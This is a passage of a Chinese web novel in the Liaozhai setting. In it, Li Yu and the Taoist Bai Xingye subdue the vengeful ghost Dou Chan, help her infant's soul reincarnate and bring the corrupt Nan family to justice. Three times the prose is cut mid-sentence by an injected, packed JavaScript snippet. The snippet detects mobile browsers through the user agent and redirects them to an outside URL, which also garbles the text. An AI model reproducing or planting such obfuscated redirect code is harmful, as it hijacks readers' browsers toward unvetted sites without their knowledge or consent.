一大一小才刚迈出两步,一阵阴风呼啸而来,伴随这“砰砰”几声,书房门窗尽数被关上,房间内一瞬间就暗了下来。李钰冲到门前猛拽了几下,房门纹丝不动。 “是谁在装神弄鬼?!”李钰抬高声音,色厉内荏地大喊,可院内的下人们却毫无动静,根本都没人过来查看。 詹贵儿更加敏锐地感知到了浓重的怨气,知道来者不善,也跟着大叫:“冤有头债有主,你有冤屈自去找害你之人,来我家干什么?李府有仙人庇佑,还不速速退下!” 也不知道小小的人儿是从哪个话本里学来的话,倒比李钰还多了分气势。 李钰闻言,眼珠一转,对着虚空迟疑地问道:“可是窦娘子来了?” 哭声一瞬顿住,房间内莫名昏暗不明,寒气陡生,随着寂静蔓延整个屋子。 这时,一声轻笑字李钰耳畔响起,“公子是在找我吗?” 李钰倏地转头,一张被寒霜覆盖,僵硬苍白的人脸几乎就要贴上他的面门。自来到聊斋的世界后,李钰也算见过些世面,可这一遭贴脸杀还是骇得他瞳孔一缩,急忙后退。 他这一退让出了位置,詹贵儿看到女鬼形貌,当机立断一道鬼气便击了过去。女鬼不闪不避,周身黑雾缭绕,那是肉眼可见的怨气凝结,詹贵儿的鬼气一触到女鬼身旁的黑雾,竟像被那黑雾吞噬一般,消失于无形。 窦婵有些意外,暴突的眼珠布满血丝,带着一丝狠厉,“没想到区区一个小鬼还有些道行。” 话落,她抬手一挥,怨气化作一条长蛇,直击向詹贵儿,小孩闪避不及直直被打飞,撞到墙上又狠狠摔在地上。 “贵儿!”李钰顾不得害怕,冲上前抱起詹贵儿,怒从心间起,大骂道:“窦婵,你也是母亲!怎么能对小孩下此毒手?” 窦婵的目光落在李钰身上,唇角僵硬地扯起,露出一个古怪的笑,“那又不是我的孩子,我心疼什么?” 李钰这下算是知道了白行野所说,厉鬼所思所想不能以常人论之的意思。如今窦婵这模样,看起来实在不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294331|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是可以沟通的。不待他想出办法,窦婵已经闪身至李钰身前,抬起枯瘦如柴的手,一掌将李钰怀中的詹贵儿拍飞,另一只手则死死掐住李钰的脖颈,力道之大直将李钰整个人都提了起来。 利爪锁喉,那手不但阴冷刺骨,更像是完全不留活路一样不断收紧,几乎在一瞬间就让李钰感到了窒息。 “哥哥!”詹贵儿大叫一声,哪里顾得上自己受伤,直冲上前要拿自己的身体去撞窦婵,而窦婵只是枯臂一伸,另一只手也将詹贵儿死死掐住了,令他也动弹不得。 “你……放开他……他与你……无冤无仇……”李钰艰难地发声,他额间青筋暴起,脸上已经充血。 窦婵面上似有快意,她微微卸下一点力,两人却仍受她桎梏,只是不至于让李钰太快送命而已。窦婵头一歪,紧盯着李钰,突起的眼球转动,像在仔细辨认眼前之人。 “我确实不认识你啊,你又为何要坏我的好事?南府是我的地盘,谁准许你们在那里胡作非为的?!” 李钰喉间剧痛,却不得不保持冷静,此时人为刀俎我为鱼肉,他必须得尽力拖延时间,等到白行野回来才行。 “胡作非为?难道……你不想报仇?我们为你……报仇……你还不乐意?”李钰一字一句说得十分艰难。 窦婵却不在意他回答得慢,仍不松手,冷冷道:“我自己的仇自己会报,哪轮得着你们多管闲事?” “你的复仇……便是……害死孙家小姐?南三复骗你在先……抛、抛弃你们母子在后……你不去报复他,反倒……去害别的女子,这就是你所谓的报仇吗?” “你懂什么?!”窦婵怒喝一声,“若不是他与孙家定亲,我又何至于被那个负心汉抛弃!我杀那姓孙的怎么了?我就是要让他南三复知道说好的永不相负,那他就永远别想娶别的女人回去!” “可孙小姐……是无辜的,她不……不知道你们之间的事……”李钰眼前已经隐隐有些发黑,但他不能不继续说话拖延,不能这么轻易地死在厉鬼手上。 “无辜?难道我不无辜!我的孩子不无辜吗?何况我警告过她,但她还是要送上门来,那就是自己找……” “死”字还没说完,书房的门猛然敞开,一道金光飞掠而来,眨眼间便刺向窦婵的手臂,窦婵顿感不妙,不得不撤手放开李钰和詹贵儿。 白行野回来了! 入目就是李钰和詹贵儿被女鬼锁喉的场景,李钰更是嘴唇发紫,满脸胀红,已是命悬一线。白行野目眦欲裂,一剑飞出救下二人,一大一小摆脱桎梏,跌坐在地,李钰趴在地上猛咳了起来。 窦婵自知不敌,不然也不会挑白行野不在时上门,她立刻化作一团黑雾就要逃走,可她的道行在白行野面前实在不够看。以往她将鬼气收敛在孩子的身上,再将孩子藏在自己的魂魄中,又时时警惕,一有不对即刻远离,才能次次及时逃脱。可这次现身于白行野眼前,他哪里会放过此等良机?白行野单手掐诀,金光凝于指尖,四散而去,以天罗地网之势同时冲向黑雾,数道金光再度汇聚之时便将窦婵死死锁于其中。白行野伸手收回那团包裹着黑雾的金光,金光急速缩小,飞至白行野手上化作一个金色小铃铛。 不管铃铛内厉鬼如何吱哇乱叫,白行野将其往乾坤袋内一丢,立刻一个箭步冲到李钰身边,一边输入灵力为其理顺气息,一边急切地问道:“你还好吗?” 68.窦氏(四) 这会儿李钰说不出话,只能摇了摇头表示没事。白行野的目光落在他颈间红得发紫的掐痕上,眉间狠狠拧了起来,手不由就轻轻摸上那痕迹。 “嘶……疼……”李钰一开口才发现嗓子沙哑得不行,白行野立即缩回手,手忙脚乱地去翻乾坤袋。他虽然不修丹道,但师父倒是给了他好些灵药,找到其中一瓶药,拿出一颗喂李钰服下。 不愧是仙人所赐的灵药,效果立竿见影,李钰只觉得药丸入口即化,润至咽喉和肺腑,喉间清清凉凉,立时好了不少。他立刻去看詹贵儿,小贵儿还好没有真正的□□,方才其实也只是被窦婵怨气锁住周身,无法动弹而已,情况比起作为人的李钰还是好多了。 白行野也心疼地摸摸詹贵儿的头,夸道:“做得好。”说着便也给他输送了灵力,半透明的小孩又渐渐凝聚出实体,看起来就精神多了。 李钰长出一口气,心有余悸地说:“还好你回来了,否则这次小命怕是要交代了。” 白行野低下头道:“是我大意,本以为她这般躲着我们,应当不至于主动找来。若不是之前你被鬼差带去过地府过,那次后我在家里布下了阵法,能及时感应到有鬼物闯入,这才能赶回来。” “若你有事,管她有什么冤屈,我定让她魂飞魄散!”白行野越说越气,简直想把那小铃铛拿出来捏碎。 “算了,总归我们没事,如今也终于抓到她了。”李钰见白行野眼角飞红,知道这次真是把他吓狠了,忙握着他的手安抚了几句。 如今总算是抓到了窦婵,李钰有太多疑问想要问她,可她那样子怎能沟通啊? 白行野深知李钰所想,主动说道:“你不用担心,让我来审这厉鬼!” 说完,他取出金铃,将其抛至半空,金光闪烁间,金铃不断放大,化为一座巨大的金色鸟笼落于书房正中,而窦婵便是那笼中之鸟。她嘴里发出兽类般的嘶吼,黑雾环绕的身躯不断撞向金光丝线般罗织成的笼壁,她不知疲倦更不知疼痛,奋力想要挣脱牢笼,金笼却丝毫未动。 李钰这才发现窦婵是个颇为娇小的女子,此番困兽犹斗的场景,即便他已经体会过厉鬼的可怕之处,也不自觉生出些许可怜。尤其窦婵的肚子还高高隆起,方才自己受其束缚未能观其全貌,想来她是将同她一起死去的孩子藏在自己魂魄中的吧。 白行野却没生出多少同情,只冷冷看着窦婵挣扎,右手掐诀,左手指向窦婵,口中念出一串咒语。窦婵猛地停了下来,面上忽然变得痛苦而恐惧,她娇小羸弱的身躯蜷缩下去,双手死死抱住自己的肚子,哀叫道:“不……不要!不要带着我的孩子!” 念咒声未停,伸出的左手五指一张,只见一道白光自窦婵腹中透体而出,没有任何阻碍地穿过笼壁,稳稳落在白行野手中。看到手中莹白光团,白行野眼中露出一丝讶异。 “你要对我的孩子做什么?他什么都没有做过!你放开他!”窦婵贴着金笼吼道,身上如有实质的黑色怨气陡然爆发,却未能溢出金笼丝毫。 “他没有怨气?”白行野像是在问窦婵,又像是在自言自语。 李钰看向他的手中那一团白色的光晕,那个和母亲一起冻死在父亲门口的孩子,居然没有怨气? “他的身上残留有你的怨气,可自身却并没有。这个孩子本该去轮回转世,你为何要将他强留于世间?难道你想让他和你一样做孤魂野鬼吗?!”白行野紧紧盯着窦婵,他无法理解眼前的女鬼,这个孩子不但是其母亲隐藏气息的容器,甚至被剥夺了转世投胎的机会,怎么会有母亲如此心狠? 窦婵却怒吼:“这是我的孩子,自是要与我一起的!他和我在一起,怎么算是孤魂野鬼呢?” 她是如此的理直气壮,詹贵儿乖乖站在李钰身侧,看着面目狰狞的窦婵也觉得胆寒。他在来到李家之前,经历过生死,被炼化成过伥鬼,他自己就是孤魂野鬼,自然知道其中的痛苦和绝望。可他是为人所害,而那个小婴儿却是被自己的母亲强留下来…… 白行野深深看着窦婵,紧抿的双唇挤出四个字,“无可救药。” “放我出去!把孩子还给我!”窦婵就像根本听不到白行野说什么一样,翻来覆去嘶吼着这两句话。 “为何要将孩子还给你?”白行野怒道,“南三复害得你们母子丢了性命,你却也要剥夺他入轮回的体会!他没有选择才做了你们的孩子,在这世间都没呆过几天就冻死在冰天雪地中。可他却对自己的父母毫无怨言,他是做错了什么?你们要逼他至此!”李钰从未见白行野如此动怒,声声诘问都含着怒火。 窦婵终于停了下来,她那双一直未曾闭上的眼睛颤抖了一瞬,视线落在白行野手上那团柔软温暖的白光上,两行血泪从眼角滑落。 “我有什么办法,我只剩他了,我只有他了啊……” 她的声音颤抖,字字泣血,像是在控诉这世间对她的不公。年少懵懂时为人所骗,被人抛弃,唯一的亲人视她为耻,没有关心她所受的伤害与压力,只有利用和打骂。她最后的依靠都没有了,她只有这个孩子,这个与她共赴死的幼小的生命。 她实在舍不得,这是她的孩子,为什么不能留下来啊? “娘……别哭……” 室内忽然响起一道稚嫩的童音,白色光团在白行野的手中扭动着,想要挣脱开来,回去自己母亲的怀中。白行野眼神怜悯,手不由就松了松,光团立刻抓住了机会晃晃悠悠飞向母亲。 窦婵见了,僵硬的脸上露出惊喜的笑容,隐约可见往日的容颜。 “孩子……”她伸手做出拥抱的姿势。 可那光团却在触到金笼的一瞬,立刻被弹开,跌到地上晕晕乎乎地打着转,似乎搞不清楚发生了什么。他小心翼翼地又飞到金笼边,轻轻触碰笼壁,再次被弹开,小小的光团急得不行,一次又一次尝试回到母亲的怀抱。 窦婵眼睁睁看着,忽然脱力似的跪了下来,她捂住脸痛哭道:“对不起孩子,对不起……是娘的错,都是娘害了你……” 詹贵儿几步上前,将那小小一团抱在怀里,那光团不明就里,不知为何自己就是靠近不了母亲,缩在同为鬼的詹贵儿怀中,一声又一声地冲窦婵喊着“娘”。 在场之人,闻者无不心酸。 詹贵儿抱着光团求助般看向白行野,白行野叹了口气,伸手轻点光团一下,那小团子又喃喃几句,渐渐安睡了过去。 眼见窦婵此时也终于安静了下来,她紧紧盯着自己的孩子,可眼中不再是之前的凶残狠厉,而是浓重的悲伤。 李钰上前在金笼前蹲了下来,视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299069|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线和跪坐在地的窦婵持平,他郑重道:“窦姑娘,我们不会伤害你的孩子,更不想伤害你。南三复罄竹难书,你要报复乃天经地义,我们本不欲插手,可是为什么你偏要牵涉无辜?同为女子,难道你觉得孙小姐嫁给南三复那种人,真是占了多大的便宜吗?” 窦婵呆呆地看着李钰,面上表情几经变换,似乎她也在极力控制着自己的情绪。半晌,她表情木然道:“嫁给那种人怎么可能幸福?她注定也会被南三复抛诸脑后,我便早为那女子解脱不好吗?” 虽然此时的窦婵似乎已经可以沟通了,但是说出来的话却还是让人不知如何回应。李钰无措了一瞬,他在心中叹了一口气,只能先不提孙小姐,问些别的,“你若是想寻仇,以你现在的能力让南三复为你们母子陪葬也是绰绰有余,为何对你真正的仇人,你却……” 窦婵仿佛是想起那些日子,南三复家里人个个惧怕的模样,颇为痛快地打断李钰,“这不好吗?我就是要吓唬他!我就是要让他知道,我一直没有走,一直在他身边!他想要的幸福美满,我全都要破坏掉,无论是他的妻子、他的家人、他的名誉……我要他南家日日夜夜家宅不宁!我要让他们的头上随时悬着一把刀!让他们全家一生一世都生活在恐惧之下!让他知道他这一辈子都没办法摆脱我!” “这才是我的报复,你看他新娶的妻子没了,他的父亲病了,他每日每夜都在害怕我出现,哈哈哈哈哈哈哈哈哈……多畅快呀!” 窦婵细数自己所为,放声大笑起来,笑声又戛然而止,她怒视李钰和白行野,“可是你们为什么要来插手这一切?这些事与你们何干?我自己的仇自己会报,何需你们多管闲事?若是没有你们,南三复还会再娶,我也会当着他的面,将那些女人一个个杀死!他不会再有妻子了,而那些女人也都因他而亡,南府身上会背上许多人命!那个时候,总会有那些女人的家人找南家的麻烦,到时候南家就算散尽家财也保不住南府的名声和南三复的性命,他们会在恐惧中一步步跌入深渊,就像当日的我一样!” 李钰听得胆战心惊,他没想过窦婵居然是抱着这样的想法才杀害了孙小姐,甚至她准备对更多未来可能嫁给南三复的女子动手。诚然,这确实会让南府声名扫地,甚至惹上官司,可那些女子凭什么要因南三复而死! “所以你杀孙小姐只是想让她作为你报复的工具?可你没想到孙小姐的父母与你的父亲并没有差别,他们甚至没有像你的父亲那样去报官!”李钰怒不可遏。 “他算什么父亲?他报官不过只是想从南府拿钱罢了!南三复给了他钱后,他不就再没闹过?他有在意过我吗?在我最狼狈的时候,他只会打骂我!还要丢掉我的孩子……他不配做父亲,他不配!”窦婵执拗地只反驳自己选择性听到的话,她边说边站了起来,满身的怨气又开始疯狂涌动。 有金笼禁锢,李钰没有惧怕,他也站起身直视窦婵,沉声道:“所以孙小姐难道不就是另一个你吗?她不知道你所遭遇的一切,更没有任何话语权!她只能依从父母之命媒妁之言,嫁给一个自己都没见过的男人!哪怕是受到了你的威胁,他的父母仍要将她嫁出去,还因此送命,最后他的父母对南家却连一句责问都没有。窦婵,你是报复南三复还是报复的另一个你自己,你想过吗?!” 69.窦氏(五) 窦婵听了此话,面上表情更加狰狞,突起的眼球飞快地颤动,反驳道:“不是的,不是的!她是高门贵女,我不过是一个村户之女,她被娇养长大已经足够幸运,还要去攀附南府,付出些代价那不是应该的?!” “当初她也闹过,她也哭过,她嫁进南府后没有一日不流泪不害怕,真的是她想嫁吗?你被南三复哄骗,信了南三复会将你娶进门,而她却明知南家是火坑,是自己的死路,却还是被家里人逼着入了南府!你却还要用她的命来报复南三复!南三复有为孙小姐流过一滴泪吗?你又到底报复了他什么?窦廷章收了钱就放弃替你申冤,孙家人也为了钱财、权势、人脉,送女儿入死局!孙家小姐的处境和你又有何区别?在我们将事情闹大之前,南三复又受到了什么惩罚?你还不明白吗?你难道指望他那样的狼心狗肺之徒为着你们的死感到愧疚懊悔吗?!” 面对李钰连珠炮似的诘问,窦婵沉默了下来,可李钰并未放过她,他指着那团安静柔软的白色光团厉声道:“还有你的孩子明明可以转世投胎,却为了你一己之私强留在这人间,等你一步步报复完整个南府,难道让你的孩子和你一样,作为孤魂野鬼消弭于人间吗?你难道想让他魂飞魄散,连再世为人的机会都没有吗?” “我没有!”窦婵终是崩溃了,“我没有想害他!我只是……只是舍不得他……他是我仅有的亲人了,我怎么会害他?那是我的孩子呀!” “等我报完仇我会放他走的,我会让他去转世轮回的……” “你错了。”白行野冷冷开口,“你让他避开了鬼差勾魂,他早已过了入地府的时限;又为了躲避我将怨气封锁在他的魂魄中,久而久之他也会被你的怨气所染。等你完成了你所谓的报仇,无人度化你们,你们孤魂野鬼也只能等着时间一到魂飞魄散。你给了他一次生命,却要夺他两次命吗?” 涉及到孩子,窦婵终于是清醒了一些,她摇着头,一边哭一边乞求道:“不是的!我不想要他魂飞魄散的!道长,求你救救他,我现在就放他走,求你让他从入轮回吧!我知道你很厉害,你可以救他的吧?” “我可以为孙小姐赎罪,求你,只要你能救救我的孩子……” 窦婵双眼汩汩涌出血泪,明明是极其可怖的一幕,却在她声泪俱下的乞求下,让人只觉得不忍。 白行野冰冷的神色缓和下来,他垂眼看向那小小的一团光晕,半晌才道:“我可以试试。” 窦婵连忙跪谢,“多谢道长!求道长一定要救我孩子,他太苦了,来这人间一遭只看过风雪,只受过冰冷,太不值了,太不值了……” 不值的不只是窦婵的孩子,也是窦婵自己。 白行野看着跪伏在笼中的女子,他要收回方才说她“无可救药”的话,窦婵或许还有机会。 他闭上双眼,诵念经文。 詹贵儿不敢打扰,抱着白光团子挪到李钰身旁,李钰细细听着,有些耳熟,似乎是之前白行野教给小倩她们的那一段经文。 白行野一边念经,额间泛起一道金芒,金芒飞出转眼没入窦婵的眉心。窦婵感觉自己似乎被暖阳包裹,那是她从未体会过的温暖,经文一字一句浮现在她的意念中,内心的痛苦和怨恨似乎也得到片刻的安静。 等窦婵再睁眼,白行野已经解开了对她的禁锢。她自己不知道,但李钰他们看得清楚,此时的窦婵展现出来的模样与她生前别无二致,她其实极为清丽灵秀,分明还是少女的模样。 窦婵从詹贵儿的手中接过自己的孩子,深深地拥抱了那小小的一团,口里不断喃喃着歉意。许久,她才颤抖着手将孩子递给的白行野,“道长,孩子就拜托你了。” 白行野接过,郑重地点了点头道:“你与南三复之间自有因果,你若不伤及无辜,我们也不会插手。可此后你应当怎么做也请你三思,否则我们依然不会坐视不理。” “小女子明白。”窦婵低下头,又说:“如若道长试了也无法转圜,还请将孩子还给我,我保证不会再让怨气沾染他了。” 白行野不置可否,只道:“你且先去吧。” 窦婵又深深地看了孩子一眼,这才转身化作一团灰色烟雾离去了。 李钰轻轻戳了戳那小团子,触之如无物,担心地问:“他还有可能投胎吗?” “应当没问题,他所受怨气沾染不深,想来是只为躲避我的时候,他母亲才将自身怨气过到他身上,平时应当很小心。难得动用一下关系,帮帮他也是可以的,何况这个孩子确实遭受了太多,法理之下还有情理,地府也并非全然残酷之地,总能有办法的。” “那就好。”李钰和詹贵儿都松了一口气,“那你说窦婵她后面会怎么做?” “她的孩子在我们手上应该不会再戕害无辜,只是她毕竟为厉鬼,若怨念再度占据理智也不是不可能,因此我们也不能完全放任。” “嗯,什么意思?” 白行野笑了笑,手一伸一本厚厚的书册便出现在眼前,李钰拿过来一翻,惊喜道:“这是……南府的账本?” “没错,藏得可深,让我好找。上面还记录着他们贿赂胡知县的罪证,我记得你说过,人间事要用人间的法子解决。我们虽不管窦婵和南三复之间的因果报应,但其中所涉人命以及牵扯出来的每一个为虎作伥之人,便交由人间的律法来解决吧。” 李钰听得一愣,两人四目相对,会心一笑。 接下来府县的热闹可就没有停过,那闹鬼的南府近日倒是没有让人听着什么鬼哭狼嚎的,反而他们家的独苗少爷南三复却发了疯了。吵着闹着说自己杀了人,要让官差来拿他,无论如何不在家里呆了,也不知用了什么方法逃脱家中人的看管,每每被找到时,不是在城郊野坟地,就是在他那亡妻坟前。 在南家人焦头烂额之际,竟还真有官差上门捉拿南三复了。更令众人哗然的是,吴知府突然上报巡按,知县胡端任期不过半年,便收受贿赂近万两,行贪赃枉法之事,更有滥用私刑等各项罪名,桩桩件件罪证确凿,还牵扯出几桩人命案,其中就有与南三复有关案件。 吴知府雷厉风行,上报贪酷之事皆有所证,胡端如今已被革职调查。而南三复也因威逼人致死,贿赂知县等罪名被捉拿归案。南府老爷本就病入膏肓,听闻此事急火攻心,竟一命呜呼。 而这一次,南府里那在朝为官的大伯也并未理会,一则大概是听说南三复已经疯了,实在也没有再管的必要。 二则,如今民众议论起这些日子所见所闻,更是无所顾忌。加之有南府接连几月来的闹鬼传闻,借由这怪力乱神之事,南府这些年来欺男霸女的种种或真或假的罪过,传得沸沸扬扬,就连京城都有人听说。可谓是街头巷尾,人人热议,所知者无不大骂一声畜生不如,南府这一脉从此可谓是彻底没落了。南三复的大伯都受到牵连被弹劾得焦头烂额,对南三复一家更是避之不及。 就连窦廷章也被乡亲们逼着重新给窦婵修了坟,体面地下了葬。即便如此,他在众人面前也再抬不起头。 这期间,李钰和白行野特意去找了春杏,如春杏所预料,她确实被赶到庄子上去了。春杏自然也听说了南家所受报应,李钰将窦婵的事告知了春杏,现在虽然窦婵并未因害死孙小姐付出代价,可至少让春杏知道孙小姐到底因何而死。 令人意外的是,春杏只是长叹了一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302812|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,道了句“命也”,并未多言其他。李钰对她颇为另眼相看,花了些银钱,将春杏的卖身契拿到手,本来想说还春杏一个自由身,可仔细一问才知道她回去家里或许还会再被卖掉,便就安排春杏去他娘身边做事。这么个有情有义的女子放在他娘身边,他还是很安心的。 另一边,白行野将窦婵之子送至地府,求见了阎罗王说明实情,也顺利让其可以重入轮回。 白行野带回来这个好消息,李钰和詹贵儿总算是放下心来。 “阎罗王可怜他这一世受苦,让他下辈子投胎到一个好人家,一世富贵无忧。”白行野颇为欣慰地说。 “那就太好了,窦婵在哪儿?你去跟她说没?”李钰发自内心的开心,这些日子真是又忙碌又让人心情沉重,可算是有好消息了。 白行野笑着看向门外,“不用了,她已来了。” 话音刚落,窦婵便现了身,她这一次规规矩矩地从门口进来,向两人福了福身道:“恩公方才所言,我已听到了。孩子有了归宿,我便满足了,只可惜我还没来得及为他取过名字。” 窦婵有些失落,生前日日担惊受怕哪里想到给孩子取名,死后又沉溺于复仇浑浑噩噩,就更不提了。 “罢了,如今我诸事已了,今后也该赎我的罪孽去了。” 李钰听他此言,问道:“诸事已了?” 窦婵脸上带着意味不明的表情,“是啊,南三复大概是受不了我了,昨晚用腰带自缢了。呵,他在死前看到的还是我的脸,你们是不知道他吊在半空中挣扎的样子多狼狈……” 说着,她竟露出一丝回味的浅笑。李钰就有些害怕了,就怕她又忽然暴起。 可窦婵并没有,她收起了笑容。报仇,似乎也并没有那么快意,南三复一家人所遭受的报应,好像并没有她孩子能够再度投胎来得重要。 窦婵再次向两人道了谢,便要离去。 “你以后要去哪儿?”李钰忍不住开口询问道。 窦婵脚步一顿,缓缓说道:“李公子你说的是对的,哪怕门第高低不同,可我和她却同是处于相似的困境中。罪魁祸首还好好的,我却去为难一个身不由己的女子,现在想来真是可笑,我未曾感受过温暖,却嫉妒别的女子生来顺遂,还将她卷入深渊之中,我错的离谱。” “而今,我也不知自己还能在这世间留存多少时日……”窦婵顿了顿,声音低了些,“今日一别,我会去孙小姐坟前为她守墓,护其死后安宁,日夜在其坟前忏悔,我也只能以此偿还一二了。” 窦婵说完欲走,李钰忽道:“窦姑娘!许多事我不便多言,可你的孩子是感受过温暖的!他死后没有生出一丝一毫的怨念,是因为外面风雪再大,他也是被保护在自己母亲怀中的。” 窦婵一怔,缓缓抬起自己颤抖的双手,当初那个包裹在襁褓中的小小婴儿就是被她这双手抱着的。她默默闭上眼,不,不是她给了那孩子温暖,而是那个她执意要生下的孩子给了她最后的温暖。 窦婵没有再回头,她的身形渐渐消失在李钰眼前,虚空中微不可察地传来轻轻的一声,“谢谢。” 詹贵儿不知想到了什么,伸手抱住了李钰的腰。李钰笑着摸了摸他的脑袋,温声道:“怎么啦?这么粘人。” 詹贵儿抬头冲李钰嘿嘿一笑,“就是觉得能遇到哥哥你们,实在是太好了。” “哎哟,真乖。”李钰捏捏他的脸,又冲白行野展颜一笑,“走吧,吃午饭了。娘今早就在说准备了银鱼鲊,给我们白道长好好尝尝。” 白行野收回看着窦婵离去方向若有所思的眼神,目光落在李钰的笑脸上,不由勾起唇角,应道:“好。” 70.闲日 而今日饭桌上就没有这么和谐了,李化难得地说教了李钰几句,大致意思就是受南府之变影响,他也要整顿家风了,不能再一味地溺爱孩子。让李钰还是要多做正事,要么接着好好读书,要么就多学习经营之道,也要多跟他一起出去和那些叔叔伯伯们走动走动关系。 李钰默不作声,听得头大,木若菱不满道:“吃着饭呢,说这些干嘛?” “你看看那南三复家里从小给惯成什么样了,如今把整个家都给败坏了,这难道还不是个警示吗?” “你儿子是南三复那样的人吗?”木若菱立即反问。 李化一噎,道:“那肯定不是,可你看看他天天都往外跑,结果我一问,一个铺子都没去,也不知道在忙什么。” 李钰也很冤枉,他又不可能说自己忙的就是南三复的事,说出来不又得让二老受惊吓,只能边吃边应着。 见儿子乖觉地答应,李化颇有些找回一家之主风范的感觉,又对一旁看戏的白行野道:“贤侄你也是,你看你往日修炼多勤奋,这些日子别老是跟珠儿出去混日子。你天赋如此高,以后说不定真是要去天上当仙人的,可不能荒废呀。” 李钰抬眼瞅着白行野,见他面露尴尬之色,心里不由好笑,白行野学着李钰“嗯嗯”两声又补了一句,“知道了伯父,我以后也会勤加修炼的。” “好了好了,少说几句吧。”木若菱不耐烦道,“珠儿脑子才好了多久,又是帮你弄客栈又是弄茶楼的,如今生意比以往好了多少?还不是我儿子的功劳,就是休息几日又能如何?” 李化这就无法反驳了,他也认为自己儿子是有才能的,可就是怕他这么懒下去,以后家业谁来打理啊? 李钰见李化还想说什么,又看着木若菱的脸色不敢再张嘴的样子,心里偷笑,打圆场说:“我知道了爹,我从明天开始一定每天去铺子上报道!一定是勤勤恳恳,好好学习。” “这才是我的好儿子!爹知道你是好孩子,倒也不用天天去,身体要紧。爹说这些,就是让你多干点正事儿,别天天瞎玩就行。”李化笑了。 “是是是。”李钰哭笑不得地想,都怪这南三复,现今成了城中多少父母教育子女的典型反面案例了。 既然明天又要开始回归工作状态了,李钰便决定下午去找丁再昌他们小聚一下,他和白行野最近忙着调查各种事,好久都没和他们聚了。 虽然几人约得临时,可还是一个不差的都来了。 才刚坐下,席方平就面带血喜色的说道:“真是大快人心啊,不但南三复遭了报应,那个糊涂官也被革职调查了,可算是给我们秋隼报仇了。” “没想到吴知府如此雷厉风行,应当是私下偷偷调查了许久吧?”鄂秋隼也颇为开心。 “咳咳。”丁再昌刻意地咳嗽了两声,“或许是他作恶多端,有人匿名举报的呢?” 说着还还瞅了李钰一眼。席方平和鄂秋隼见状,忽然都露出恍然大悟的表情,席方平道:“这里面不会又有你们的事吧?” 李钰装模作样地说:“不值一提,主要还是行野的功劳。” 白行野见他表情说不出的得意,一副与有荣焉的表情,只觉得可爱极了。 “当然,还要感谢我师弟,本来当初秋隼那事,胡端之后也并未受到什么惩罚,我还怀疑过证据交给吴知府靠不靠谱,还是让师弟去帮我好好打听了一下,才决定交给吴知府的。但我们也只给了南府的账本,旁的应该是吴知府早就着手在查的。”李钰这么说着,心想还好他们这地方是府制所在,不至于让胡端一手遮天。 “好哇,这么大的事,你们一个个都瞒着我和秋隼,这算什么好友?!”席方平声音高了起来。 李钰忙赔笑道:“方平兄这说的是哪的话?当时我们举报上去也不知道最后会有什么结果呀,何必让你们白白挂心?反正如今大家都知道了。” “现在知道了,也算是惊喜,还得谢谢几位替我出了一口恶气。老实说,那时我当着那么多人驳了他的面子,还怕过他之后再找麻烦,眼下也总算安心了。”鄂秋隼笑眯眯道。 几人这还是第一次听鄂秋隼这样说,有些心疼,又有些感慨。 席方平道:“好了,总之以后咱们这就太平了,秋隼你好好读书,以后等你做了官,定要做个好官!今晚咱们喝个痛快,好好庆祝庆祝。” 众人纷纷附和,李钰笑着摇了摇头,这方平兄也真是个妙人,虽然年龄比在座除了行野的诸位都大,却是最为心思纯直,有话直说的。 大家久未见面兴致颇高,各自说完自己的近况,话题又回的当下最热议的南府之变上。不知具体情况的席方平和鄂秋隼,非要李钰讲清楚事件经过,李钰捡着能说的说,听得几人一时不齿一时称快。又是好一番杯盘交错,言笑晏晏,才尽兴而归。 时值三伏之末,暑气未消,秋老虎又反扑而来,每日都让人有些心浮气躁。可李钰却每日老老实实地去铺子上学东西,倒是给李化又心疼上了,早忘了自己之前所言,不时说些让李钰间隔着去也行,或是每天早上去看看就可以了的话。 李钰倒是真心想学点东西的,毕竟他还有好长的时间要在这个地方生活下去,总是要适应的。李化看他上进,也不多说了,时不时同李钰一起出门,到了铺子上亲自教他,各种管理安排、渠道疏通、对账清货,都亲自向儿子说明,少不了也带他去拜见了城中各行业的翘楚。 可那一群老头聚会的场合,李钰就不太喜欢了。抱着认识认识人,分清楚谁是谁以后,自己就不来了的心态,李钰还是跟李化去应酬了几次。 这天还遇到了席廉席老爷,李钰赶忙上前躬身施礼,席廉看他如今跟着老爹一起出来应酬,给好一通夸,“李兄真是好福气,儿子如今也能独当一面了。” “独当一面还早得很。”李化嘴上谦虚,脸已经笑开花了,也夸席方平,“方平贤侄如今考上了秀才,这前途才是不可限量啊。” 两人开怀大笑,都对自家小子满意得紧。 旁边有个白胡子伯伯,忽然问了一句:“这些日子怎的没见羊老头呢?” 